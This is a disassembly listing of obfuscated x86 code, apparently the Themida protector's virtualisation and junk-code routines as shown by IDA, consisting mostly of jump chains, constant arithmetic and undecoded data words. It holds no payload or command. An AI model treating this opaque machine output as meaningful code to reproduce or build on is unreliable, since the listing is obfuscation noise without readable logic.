; ---------------------------------------------------------------------------


loc_591231:				; CODE XREF: Themida_:00593504j
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	ecx
		mov	ecx, 494C3C43h
		mov	ebp, ecx
		pop	ecx
		push	esi
		jmp	loc_5999FD
; ---------------------------------------------------------------------------
		db 57h
		dd 0EF55B6BFh, 0E9FA8966h, 9510h, 207F83h, 24C840Fh, 0CD680000h
		dd 89000004h, 3BBB241Ch, 0E93D2203h, 11AFFh, 290BF781h
		dd 0F8014016h, 81243C8Bh, 4C4h,	4C08300h, 0E9240487h, 2EBCh
		dd 0CD81EDD1h, 5F24B36h, 7C33ED81h, 814D73B3h, 75158F5h
		dd 5DEB0197h, 70E9DF89h, 0C100004Bh, 8CE908E7h,	81000031h
		dd 4C3h, 241C8700h, 4C4815Ch, 83000000h, 143302C2h, 24143124h
		dd 8B241433h, 0F662424h, 9C2404B3h, 0FFD076E9h,	0F70159FFh
		dd 0BED6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5912E5:				; CODE XREF: Themida_:0059866Bj
		add	esp, 4
		push	ecx
		mov	ecx, 218E3242h
		add	ecx, 206E68A2h
		sub	ecx, 0FFFFFFFFh
		push	0
		sub	[esp], ecx
		jmp	loc_59F444
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 5245E9h, 0C3814B00h
		dd 0D5E461BFh, 54FDE9h,	242C8B00h, 4C481h, 0C1810000h
		dd 2, 0E9240C33h, 3528h, 0E9241C31h, 0FFFFD007h, 0B159EF88h
		dd 8BF930A9h, 0C483241Ch, 45F18004h, 0F608E1C0h, 0A0C180D9h
		dd 0F48AE9h, 69B05000h,	0BC0C7104h, 0DEFDE952h,	0D8E9FFFFh
		dd 68FFFFCFh, 44CAh, 89241489h,	85BE56E2h, 0D1413563h
		dd 4EE81EEh, 0E9143B5Dh, 40E5h,	4B850h,	0BF570000h, 52026B58h
		dd 3DC7814Fh, 0E9DB9DEDh, 52C9h, 644DE951h, 0C7810000h
		dd 28D72531h, 0BD55CF01h, 28D72531h, 555DEF29h,	9D44FBBDh
		dd 0E9EF297Bh, 53C2h, 0C5E9AAB3h, 89000053h, 0E389241Ch
		dd 0FFD5ECE9h, 240C8BFFh, 5E04C483h, 57EF8957h,	55240481h
		dd 59506433h, 3355BD55h, 0E9295064h, 5B01E9h, 241C8700h
		dd 0C717E9h, 0E9EA2000h, 11119h
; ---------------------------------------------------------------------------


loc_591414:				; CODE XREF: Themida_:0058FD4Aj
		pop	esp
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_59BB09
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCF2Fh
; ---------------------------------------------------------------------------


loc_591424:				; CODE XREF: Themida_:0059788Ej
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		dw 9DBEh
		dd 46408D60h, 4D3ECE81h, 6FE95FF2h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591443:				; CODE XREF: Themida_:0059CF21j
		neg	bh
		inc	bh
		push	eax
		mov	ah, 0Ch
		jmp	loc_5A10E0
; ---------------------------------------------------------------------------
		db 0Fh
		dd 8B66C0B6h, 2E92414h,	1000110h, 0BA5253E8h, 5D6A3D60h
		dd 936ABD55h, 0EB8999F6h, 0D376E95Dh, 0DA890000h, 62F3E9h
		dd 0F6815E00h, 669B0A55h, 5E6C15Ah, 0F681D6F7h,	452A3C25h
		dd 2FBAF681h, 815614BCh, 21EA2404h, 815B66AFh, 0AF21EAEBh
		dd 24348B66h, 4C481h, 0A9680000h, 89000045h, 0E189240Ch
		dd 4C181h, 0E9E90000h, 0C10000B8h, 0E6C107EEh, 0EEEE8103h
		dd 81AAD5CEh, 7E5006C3h, 81F32975h, 7E5006EBh, 0EB815E75h
		dd 5591729Ah, 5556EB81h, 0C3293911h, 5556C381h,	71683911h
		dd 89000044h, 29BD242Ch, 83415A2Eh, 0F74DFFC5h,	9DE951D5h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591507:				; CODE XREF: Themida_:005999D5j
		shl	ebx, 1
		jmp	loc_5A2BF9
; ---------------------------------------------------------------------------
		dw 5358h
		dd 0C0CDB551h, 0B25202EDh, 0F867E9EEh, 5653FFFFh, 0D8E5E9h
		dd 81E3D100h, 0F05924C3h, 5BDE3190h, 1083E681h,	0E6C16289h
		dd 84C68107h, 89FF77BEh, 0B65AE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591546:				; CODE XREF: Themida_:00594EC4j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebx
		jmp	loc_592584
; ---------------------------------------------------------------------------
dword_591554	dd 240C8B66h, 37D868h, 24048900h, 4107E9h, 0E9D0F700h
					; DATA XREF: Themida_:0058E12Co
		dd 18B5h
; ---------------------------------------------------------------------------


loc_59156C:				; CODE XREF: Themida_:0059C4C8j
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, 13C87B75h
		mov	edi, 6F8D3629h
		xor	edi, ebx
		pop	ebx
		jmp	loc_59E287
; ---------------------------------------------------------------------------
a1Zs		db '1ÕZéÝ!',0
		db 0
; ---------------------------------------------------------------------------


loc_59158B:				; CODE XREF: Themida_:005995FBj
		sub	al, bh
		add	al, 8Fh
		push	bx
		mov	bh, 42h
		add	al, 67h
		sub	al, bh
		sub	al, 67h
		pop	bx
		jmp	loc_5984C8
; ---------------------------------------------------------------------------
		dd 0E952E689h, 8F0h, 5C241433h,	6602EC83h, 51241C89h, 79E2E9h
		dd 24348A00h, 8004C483h, 0EE80A6F6h, 5AF1289Ch,	0E9h, 59C80000h
		dd 10E3EE9h
		db 0
byte_5915D5	db 0ADh, 68h, 1Ah	; DATA XREF: Themida_:0058E1A0o
		dd 89000024h, 90B9240Ch, 2943360Bh, 0D30559C8h,	0E913290Ch
		dd 48B1h, 0E9F32959h, 8B71h, 0D742E952h, 5451FFFFh, 4C18159h
		dd 52000000h, 0A84A1DBAh, 0E9424A1Fh, 1C14h, 15BDF01h
		dd 10EF81CFh, 59014E06h, 0AF72E9h
		db 0
; ---------------------------------------------------------------------------


loc_591625:				; CODE XREF: Themida_:0059882Bj
		add	dh, cl
		jmp	loc_5A2B4F
; ---------------------------------------------------------------------------
		dd 8104E3C1h, 3652BEEBh, 29EA81A9h, 1164452h, 29C281DAh
		dd 8B164452h, 0C483241Ch, 24143304h, 33241431h,	248B2414h
		dd 4096624h, 0F4E99C24h, 89FFFFCCh, 4C181E1h, 83000000h
		dd 0C8704C1h, 24248B24h, 4EC8355h, 83242489h, 5D042404h
		dd 4C581h, 0C6E90000h, 2D000045h, 68BE5230h, 0FFC50159h
		dd 81582434h, 4C4h, 77F3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59169E:				; CODE XREF: Themida_:00593EFFj
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_595A1F
; ---------------------------------------------------------------------------


loc_5916A8:				; CODE XREF: Themida_:0059FF03j
		pop	ecx
		sub	eax, 4
		jmp	loc_59C4C5
; ---------------------------------------------------------------------------
		db 5Eh
		dd 10B3EE9h, 24048900h,	0AB0675B8h, 0B7AE971h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5916C6:				; CODE XREF: Themida_:0059EC0Ej
		push	eax
		mov	eax, 2A092957h
		jmp	loc_5936A2
; ---------------------------------------------------------------------------


loc_5916D1:				; CODE XREF: Themida_:0058F535j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, 47762526h
		push	eax
		mov	eax, 68F01A04h
		mov	edi, 0DE860B26h
		jmp	loc_592CCC
; ---------------------------------------------------------------------------
aSgk		db '[飪',0
		align 2
		dw 0C601h
		dd 4BF0E958h, 0D3890000h, 0A0C9E95Ah, 2C8B0000h, 4C48124h
		dd 0E9000000h, 0A8C4h, 4CBF5750h, 0B8667F2Ah, 0EFEF1268h
		dd 0C15FF801h, 0AE0D06E8h, 0C17B5436h, 0B5E902E0h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_591737:				; CODE XREF: Themida_:005993B2j
		mov	edx, 2Ch
		add	edx, 7D9A76D0h
		sub	edx, 8587B1Dh
		add	edx, 419D1FF8h
		jmp	loc_5A1B0F
; ---------------------------------------------------------------------------
		db 50h
		dd 287661B8h, 0CF46E90Fh, 0C6810000h, 4, 4EE81h, 9FE90000h
		dd 810000E1h, 917510E5h, 0F7CD8731h, 6FCBE9D1h,	4CBB0000h
		dd 0C151446Ch, 0ADE908E3h, 5400010Bh, 8124148Bh, 4C4h
		dd 66E95700h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59179B:				; CODE XREF: Themida_:005A0973j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59807E
; ---------------------------------------------------------------------------
		db 59h
		dd 8704C383h, 0BDE9241Ch, 5F000050h, 93DAE9h, 815E5400h
		dd 4C6h, 4C68300h, 4EC81h, 34890000h, 7D05E924h, 58050000h
		dd 9743AC6Eh, 0BF78158h, 10A7560h, 2434FFFBh, 81243C8Bh
		dd 4C4h, 4C48300h, 4EC81h, 4890000h, 4B824h, 0BE560000h
		dd 6337809h, 0D4C1E94Eh, 4BEFFFFh, 81000000h, 0ED042444h
		dd 1046E5Eh, 0E9042474h, 0C62Ah, 56240489h, 424758BEh
		dd 0E6F68130h, 0C10FFC64h, 0D6E903E6h, 6800002Fh, 41BEh
		dd 9BBDE9h, 53F18100h, 1A26D5Ah, 0E95F59C8h, 0F905h, 0E99C5166h
		dd 0FFFFCAF3h, 89240C89h, 0E9CB89D9h, 0FFFFF1E1h, 5C24048Fh
		dd 6EBE68h, 24148900h, 0AB71E9h, 8AE95800h, 81000084h
		dd 0B13813F3h, 6A9E929h, 34870000h, 34895C24h, 49B6BE24h
		dd 0EEC161B6h, 0C1DEF706h, 0D6F708E6h, 699C681h, 0F0297DB2h
		dd 8124348Bh, 4C4h, 0E1895100h,	4C181h,	0E9810000h, 4
		dd 5C240C87h, 51241489h, 5F1E4368h, 240C8B2Ch, 0FFB9E9h
		dd 58C32900h, 8B241C87h, 0E9542424h, 0A790h, 8B54555Dh
		dd 0C483242Ch, 11BD6804h, 1C890000h, 4958E924h,	0DF310000h
		dd 0DF87DBF7h, 5302E7C1h, 0F775D0BBh, 8BDF013Ah, 0C483241Ch
		dd 8BFD0104h, 0C481243Ch, 4, 2B850h, 92E90000h,	33FFFFD9h
		dd 248B2404h, 0CFF6624h, 0BCE99C24h, 8800005Ah,	0EF885BFDh
		dd 34FF5A59h, 33C2E924h, 0C310000h, 240C3324h, 6039685Ch
		dd 70E90000h, 83000051h, 0E0D101C0h, 0FFD6B8E9h, 0CFEF81FFh
		dd 14A7B15h, 0CFC781DFh, 0FF4A7B15h, 835B2434h,	3C3304C4h
		dd 243C3124h, 8B243C33h, 3B662424h, 0F3E99CC8h,	0B90000BDh
		dd 4, 8759CE29h, 248B2434h, 242C8924h, 2419BDh,	0ED814D45h
		dd 0FFFFFFFFh, 5702E5C1h, 0DEE9E789h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5919B7:				; CODE XREF: Themida_:0059F91Bj
		push	eax
		mov	eax, 60B553FEh
		neg	eax
		xor	eax, 88B4D49Dh
		add	ebp, 45DA002Fh
		add	ebp, eax
		sub	ebp, 45DA002Fh
		pop	eax
		jmp	loc_599C42
; ---------------------------------------------------------------------------
		dd 0A71ECEB9h, 0D6FAE93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5919E2:				; CODE XREF: Themida_:0059B669j
		or	edx, 361D4589h
		jmp	loc_58FEF0
; ---------------------------------------------------------------------------


loc_5919ED:				; CODE XREF: Themida_:0059AF90j
		neg	eax
		push	ebp
		mov	ebp, 5F9A0CDFh
		not	ebp
		inc	ebp
		jmp	loc_59E896
; ---------------------------------------------------------------------------


loc_5919FD:				; CODE XREF: Themida_:00595E93j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7A0F1BC1h
		shr	esi, 4
		jmp	loc_5A1938
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 241C3300h, 0C373E9h, 2E6CBA00h, 542902CBh
		dd 148B0824h, 4C48324h,	9F4FE9h
		db 0
; ---------------------------------------------------------------------------


loc_591A41:				; CODE XREF: Themida_:005926F7j
		pop	edi
		add	esp, 4
		jmp	loc_5911CA
; ---------------------------------------------------------------------------


loc_591A4A:				; CODE XREF: Themida_:0058EE18j
		pop	esi
		push	edi
		push	26F61C9Eh
		jmp	loc_59F5D7
; ---------------------------------------------------------------------------
word_591A56	dw 8B66h		; DATA XREF: Themida_:0058E2E0o
		dd 8957240Ch, 4A968E7h,	4890000h, 46824h, 55580000h, 7E5A68h
		dd 24148900h, 2D0278BAh, 0E2CAE911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591A7E:				; CODE XREF: Themida_:0058E7FBj
		mov	ebp, 71870B1h
		push	0
		sub	[esp], ebp
		pop	ebp
		and	ebp, 77AB65F4h
		add	ebp, 3EEA5848h
		neg	ebp
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 292771F7h
		add	edi, ebp
		push	dword ptr [esp]
		jmp	loc_5948F4
; ---------------------------------------------------------------------------
		dd 4EC8356h, 5944E9h, 51EA2900h, 41216FB9h, 55C98110h
		dd 0C16B5921h, 0E98106E9h, 18150E4Dh, 4F2AF181h, 0CA29C6C0h
		dd 0F2E95D59h, 81000113h, 431427EBh, 0FFDD0101h, 835B2434h
		dd 1C8904ECh, 0E8C4E924h, 0C4810000h, 4, 3AC68h, 240C8900h
		dd 200B9h, 8BC82100h, 0EC83240Ch, 243C8904h, 8304EC83h
		dd 248904ECh, 24048324h, 24048F04h, 4240481h, 5F000000h
		dd 4EC81h, 2C890000h, 933E924h,	0C4830001h, 1286E904h
		dd 2ABB0001h, 21133E62h, 0F1815BD9h, 617E75EDh,	8102E1C1h
		dd 0E55EEAE9h, 59CF8973h, 0C0D0E9h, 24048F00h, 0FF2434FFh
		dd 81582434h, 4ECh, 240C8900h, 240C8B54h, 4C481h, 0C1810000h
		dd 4, 4EC81h, 34890000h, 4F63BE24h, 0BD555529h,	7C4F3A5Eh
		dd 0EEE9EE01h, 5C000078h, 0C104E1C1h, 0E98102E9h, 651D5C24h
		dd 4AD8C181h, 0E9816E67h, 10130558h, 3D09E951h,	83580000h
		dd 348904ECh, 8B1E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_591BD6:				; CODE XREF: Themida_:0059E04Bj
		xor	ebp, 390B4567h
		add	edi, ebp
		pop	ebp
		add	edi, 2D5D6518h
		jmp	loc_59BB90
; ---------------------------------------------------------------------------
a0Psq		db '0ÃPéï\',0
		align 2
		dw 0C483h
		dd 2B85004h, 81000000h,	0F6713DC2h, 81C20112h, 0F6713DEAh
		dd 415EE912h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591C0E:				; CODE XREF: Themida_:005A1B61j
		push	ecx
		mov	ecx, 67425B1h
		sub	ecx, 73043F47h
		jmp	loc_5995C3
; ---------------------------------------------------------------------------
		db 88h
		dd 877488EEh, 24148B01h, 8B04C483h, 0C483240Ch,	2434FF04h
		dd 81241C8Bh, 4C4h, 4C48100h, 0E9000000h, 0FFFFC70Bh
; ---------------------------------------------------------------------------


loc_591C48:				; CODE XREF: Themida_:005A0E3Bj
		pop	edi
		push	edi
		mov	edi, 2FC120AEh
		shr	edi, 6
		or	edi, 6E282997h
		xor	edi, 6EBF2D93h
		sub	ebp, 151319Eh
		jmp	loc_58EB02
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 8924248Bh, 0D2E9240Ch, 28000079h, 0E91C2CD8h, 0CA11h
		dd 5EF2895Fh, 0FFEA46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591C89:				; CODE XREF: Themida_:0059D4B1j
		push	41842968h
		pop	edi
		jmp	loc_599050
; ---------------------------------------------------------------------------
		dd 8107EDC1h, 0F21DD2F5h, 0BEED8146h, 13057A4h,	0AAE95DE8h
		dd 6600008Ah, 0CAB15152h, 0CA28E3B2h, 66D00059h, 280E2C5Ah
		dd 510E04D8h, 0FE27B252h, 29C280CAh, 53E9D188h,	830000E3h
		dd 0EEE904C4h, 5700010Ch, 0FFFA3BE9h, 24048FFFh, 5E3FE9h
		dd 30CDB000h, 0E95866C2h, 0ACFEh, 5AF18858h, 950EE9h
		db 0
; ---------------------------------------------------------------------------


loc_591CF9:				; CODE XREF: Themida_:005936DDj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_591CFE:				; CODE XREF: Themida_:00596A00j
		mov	[esp], edi
		push	edx
		jmp	loc_59B664
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8159CE09h, 1C7D9DF6h, 5EEE947h
		db 1, 0
word_591D16	dw 8B66h		; DATA XREF: Themida_:0058E28Co
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_599D8B
; ---------------------------------------------------------------------------


loc_591D23:				; CODE XREF: Themida_:005995C4j
		mov	ebx, 45B31BB3h
		sub	ebx, 724656E2h
		xor	ecx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A3178
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0EA810000h, 18733933h, 0FFCDB4E9h, 4C781FFh,	87000000h
		dd 32E9243Ch, 5500001Ch, 3008D8BDh, 0DCF5816Ch,	16C3008h
		dd 0FF535DEBh, 8B042474h, 5768241Ch, 89000065h,	0E954243Ch
		dd 2C6Ch
; ---------------------------------------------------------------------------


loc_591D88:				; CODE XREF: Themida_:005963B7j
		sub	ebp, 1C2C19E1h
		add	ebp, eax
		add	ebp, 1C2C19E1h
		pop	eax
		add	ebp, 4
		jmp	loc_599545
; ---------------------------------------------------------------------------
		align 10h
		dd 0F4805BFCh, 2EC836Ah, 241C8966h, 0D3F6E388h,	5B66DC88h
		dd 895B353h, 0DDE95BDCh, 5700008Bh, 4BFh, 0FFF80100h, 835F2434h
		dd 0C08304C4h, 24048704h, 9080E9h, 2434FF00h, 5B0DE9h
		db 0
; ---------------------------------------------------------------------------


loc_591DE1:				; CODE XREF: Themida_:005A24E9j
		mov	edx, 266D57D6h
		xor	ecx, edx
		pop	edx
		mov	edi, ecx
		push	dword ptr [esp]
		jmp	loc_58E6CB
; ---------------------------------------------------------------------------
		db 89h
		dd 41E959CFh, 89000011h, 8741E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591E02:				; CODE XREF: Themida_:0059BED5j
		mov	edi, 34107CF5h
		mov	eax, edi
		pop	edi
		mov	ebp, eax
		jmp	loc_59114B
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C10D49BBh, 8BD98904h, 0C481241Ch, 4, 22E0B850h, 44297A62h
		dd 1580824h, 8104244Ch,	0E0042444h, 0E97A6222h,	4079h
; ---------------------------------------------------------------------------


loc_591E40:				; CODE XREF: Themida_:0058FFEDj
		push	34E6h
		mov	[esp], ebx
		jmp	loc_593B73
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0C2h
		dd 0E1895158h, 4C181h, 0E9830000h, 237E904h, 0CA810000h
		dd 7E1E63CEh, 0AD685753h, 5F0EDB5Dh, 8108EFC1h,	9D50C5C7h
		dd 0D5CEE927h, 0E2810000h, 6E629D8h, 8103E2C1h,	214EC4F2h
		dd 0F19DE925h, 0E95C0000h, 0FFFFDBD2h, 4BAh, 5AD60100h
		dd 4C681h, 34870000h, 3C875C24h, 24248B24h, 990DE9h, 0BEE8000h
		dd 0CD27E9h, 59CF0100h,	0E88E9h
		db 0
; ---------------------------------------------------------------------------


loc_591EC5:				; CODE XREF: Themida_:0059EE9Cj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_59FCF5
; ---------------------------------------------------------------------------


loc_591ED0:				; CODE XREF: Themida_:00596192j
		add	esp, 4
		push	eax
		mov	eax, 9F919A6h
		neg	eax
		jmp	loc_595905
; ---------------------------------------------------------------------------
		db 81h
		dd 764CBEF5h, 0C94DE919h, 89660000h, 5352241Ch,	8D1FE952h
		dd 0B9BD0000h, 4D455355h, 2474F581h, 0ED813FD0h, 1BFA632Fh
		dd 4B71CD81h, 0BE565BBAh, 5FBB4FF9h, 26E9F531h,	810000CEh
		dd 4C3h, 5A47E900h, 0BB530000h,	772E6933h, 8FE9D801h, 81000060h
		dd 238141C3h, 0ABEAE9BAh, 0E95A0000h, 7B57h
; ---------------------------------------------------------------------------


loc_591F48:				; CODE XREF: Themida_:0059902Bj
		mov	edx, 0DF8576Fh
		jmp	loc_5985AB
; ---------------------------------------------------------------------------
		dw 8151h
		dd 60772434h, 1E92955h,	57000025h, 0B951E789h, 173B0DADh
		dd 4759C181h, 0C9817C0Eh, 60D37BA5h, 0DAAEE9h, 61636800h
		dd 34890000h, 3365E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591F86:				; CODE XREF: Themida_:0059F963j
		push	edi
		mov	edi, 61E73299h
		push	edi
		xor	dword ptr [esp], 0EF90373h
		pop	edx
		jmp	loc_59CC4B
; ---------------------------------------------------------------------------


loc_591F9A:				; CODE XREF: Themida_:00595D1Cj
		pop	eax
		mov	eax, ecx
		pop	ecx
		mov	esi, eax
		pop	eax
		push	edi
		mov	edi, 0FCA9E1A2h
		add	esi, edi
		pop	edi
		add	edx, 1EDF41F3h
		sub	edx, esi
		sub	edx, 1EDF41F3h
		jmp	loc_5A30FE
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 83h
		dd 1C8904ECh, 79F4BB24h, 0D8292326h, 83241C8Bh,	55D04C4h
		dd 6A6B62ADh, 0EC268h, 24148900h, 0EC2C4868h, 0D0015A36h
		dd 8324148Bh, 0EC8304C4h, 242C8904h, 84E9E589h,	310000FCh
		dd 0F2815DEAh, 0FEEEF29Fh, 0E95AD101h, 0F9E1h, 0ED10E9C3h
		dd 0D300FFFFh, 80E3285Ah, 58660AEBh, 0FFC0B60Fh, 34FF8734h
		dd 0EEA0E924h, 0BB53FFFFh, 6535180Fh, 4DCE953h,	0C7810000h
		dd 3B304A7Dh, 14E4EF81h, 9BE977D3h
		db 0Bh,	2 dup(0)
byte_592047	db 0FFh			; DATA XREF: Themida_:0058E2FCo
		dd 669D1C77h, 241CD259h, 0C2FDE99Ch, 348BFFFFh,	4C48324h
		dd 0E924048Fh, 1112Bh, 9C595FBEh, 5EF2899Dh, 2FE9EA29h
		dd 5B000010h, 0B551D800h, 508CE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59207E:				; CODE XREF: Themida_:005A108Bj
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5944B3
; ---------------------------------------------------------------------------
		db 0B4h, 19h, 53h
		dd 0FFF33BE9h, 240C87FFh, 240C895Ch, 2B9h, 0E1895100h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BB241C89h, 5FEB01EFh
		dd 1EE9DA01h, 280000D9h, 0E2EB80C3h, 2D6866h, 24048966h
		dd 0B252DAB4h, 0F6CAFE4Eh, 0F6E280D2h, 0E9A8EA80h, 0FFFFFF2Ah
; ---------------------------------------------------------------------------


loc_5920E8:				; CODE XREF: Themida_:0059A7ADj
		add	esp, 4
		push	eax
		push	7642h
		mov	[esp], ecx
		mov	ecx, 4FC05B8Ah
		xor	ecx, 7A342116h
		add	ecx, 4C97BB8h
		jmp	loc_58EEEB
; ---------------------------------------------------------------------------
word_59210A	dw 0C8Bh		; DATA XREF: Themida_:0058E278o
		dd 0C0E95324h, 8900010Dh, 4C681E6h, 83000000h, 0E95604C6h
		dd 0FFFFE2BCh, 8D10E996h, 0C4810000h, 4, 37EC68h, 14D8E900h
		dd 0EE830000h, 74FF5604h, 8F5E0424h, 0E95C2404h, 108B7h
		dd 1CF75759h, 0EF67E924h, 0C6810000h, 15807A4Fh, 5004E6C1h
		dd 5DDBE9h, 59C80100h, 50E9E829h, 8100008Fh, 4E3FDFEBh
		dd 0E9D32963h, 9662h, 2F7CBE66h, 36EE8166h, 2F24E935h
		dd 0C1810000h, 4, 4C181h, 0E9510000h, 0FFFFEE85h, 2AE9535Eh
		dd 550000B1h, 0DD173268h, 0E9555D6Ah, 8151h, 734EBA66h
		dd 24540166h, 665A6602h, 0EF81665Fh, 6658734Eh,	6604EFC1h
		dd 579AF781h, 66D7F766h, 57FFEF83h, 0BB53E789h,	4, 835BDF01h
		dd 3C8704EFh, 0BFD1E924h, 0D5F70000h, 0E907E5C1h, 4355h
		dd 0FFC6815Bh, 0F7FFFFFFh, 0D2E681D6h, 81451E35h, 9CCE22EEh
		dd 66242DB4h, 0F0011682h, 0CA4E9h, 4EC8100h, 89000000h
		dd 0EE92434h, 310000E8h, 4332404h, 0F9F65C24h, 0CCB60F66h
		dd 515B5453h, 0DA4732B9h, 92E94123h, 81000098h,	4C6h, 4EE8300h
		dd 5C243487h, 68242489h, 6014h,	0BB241C89h, 4, 4245C01h
		dd 81241C8Bh, 4C4h, 2434FF00h, 8B2434FFh, 0C481241Ch, 4
		dd 6804C483h, 5227h, 89241489h,	47BF57E2h, 0F70FAE0Dh
		dd 3EFC1D7h, 2EFDCF81h,	0C7816150h, 58C5127Dh, 5178F781h
		dd 0FA01D81Fh, 4C2815Fh, 33000000h, 14312414h, 24143324h
		dd 4C3815Ch, 52000000h,	2BAh, 0FFD30100h, 815A2434h, 4C4h
		dd 241C8700h, 6624248Bh, 5024048Bh, 0A4685854h,	89000045h
		dd 0B8BA2414h, 81717F07h, 0FFFFFFC2h, 83D2F7FFh, 966801C2h
		dd 8900002Ch, 0CFBD242Ch, 214E8364h, 0F107E9EAh, 0E2810000h
		dd 3F625E7Dh, 93F2814Ah, 31F369E0h, 0F3315AD6h,	0FFD9015Eh
		dd 1C8B2434h, 4C48324h,	6804C483h, 3F0Ch, 3F35E9h
		db 0
; ---------------------------------------------------------------------------


loc_592331:				; CODE XREF: Themida_:0059DEE6j
		push	esi
		jmp	loc_59C8F2
; ---------------------------------------------------------------------------
		db 1
		dd 0DC94E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59233E:				; CODE XREF: Themida_:005A0917j
		push	ebx
		push	edx
		pop	ebx
		jmp	loc_5A00E5
; ---------------------------------------------------------------------------
		dw 0CF29h
		dd 592434FFh, 4C481h, 3C330000h, 243C3124h, 0FFE427E9h
		dd 2DF801FFh, 53677D88h, 2534692Dh, 0A6BD5522h,	817FF237h
		dd 0ADE7AFC5h, 0FBB0E996h, 1BDFFFFh, 0E9000000h, 9CE8h
		dd 9435D268h, 68555F78h, 43DD0912h, 83242C8Bh, 45BE04C4h
		dd 31908A1Ch, 0C6815DEEh, 263D2400h, 0BB53FE29h, 263D2400h
		dd 0A3E2E9h, 2434FF00h,	3EFF6859h, 0C890000h, 50E18924h
		dd 0B65E8BB8h, 6E6C351Ah, 96E96702h, 54FFFFF1h,	0E92434FFh
		dd 869Fh, 53240489h, 0B40BE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5923E2:				; CODE XREF: Themida_:0059954Bj
		add	al, bl
		add	al, 0D5h
		push	ecx
		mov	cl, 78h
		neg	cl
		sub	cl, 27h
		sub	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 26h
		push	24C7h
		mov	[esp], ebx
		mov	bh, 0D1h
		sub	al, 27h
		jmp	loc_58E84F
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 5
		dd 0D9FEC281h, 0D589A48Ch, 0F3EE95Ah, 0ED810000h, 280F1DB3h
		dd 0E0EB815Ah, 13BE830h, 0E0C381EBh, 5D3BE830h,	487F6852h
		dd 0C890000h, 47685224h, 5A357A1Ah, 5A31E9h
		db 0
byte_592449	db 8Bh,	4, 24h		; DATA XREF: Themida_:0058E0A8o
		dd 83E08950h, 348904ECh, 4541BE24h, 0C6816D16h,	106C307Ah
		dd 75FBE9h, 71EF8100h, 292A7A79h, 71C781EFh, 0FF2A7A79h
		dd 0E95D2434h, 0FFFFBEE8h
; ---------------------------------------------------------------------------


loc_59247C:				; CODE XREF: Themida_:0059A47Fj
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58E353
; ---------------------------------------------------------------------------
aAQsZ		db '€Êï麇',0
		db 0
; ---------------------------------------------------------------------------


loc_592493:				; CODE XREF: Themida_:0059272Aj
		push	32C50872h
		pop	eax
		and	eax, 5F171141h
		add	eax, 0FFFFFFFFh
		jmp	loc_5A1041
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0C8C28105h, 292BF818h, 0D53FE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5924B6:				; CODE XREF: Themida_:00594EABj
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_59FB35
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 9Ch
		dd 0E9F2E980h, 8767h, 0BD242C89h, 223744EFh, 745AE9h, 24048100h
		dd 70AC455Ah, 5AEE815Eh, 0E970AC45h, 0F0ADh, 0FF243C89h
		dd 5F042474h, 8B24048Fh, 34FF2424h, 1073E924h, 0C890000h
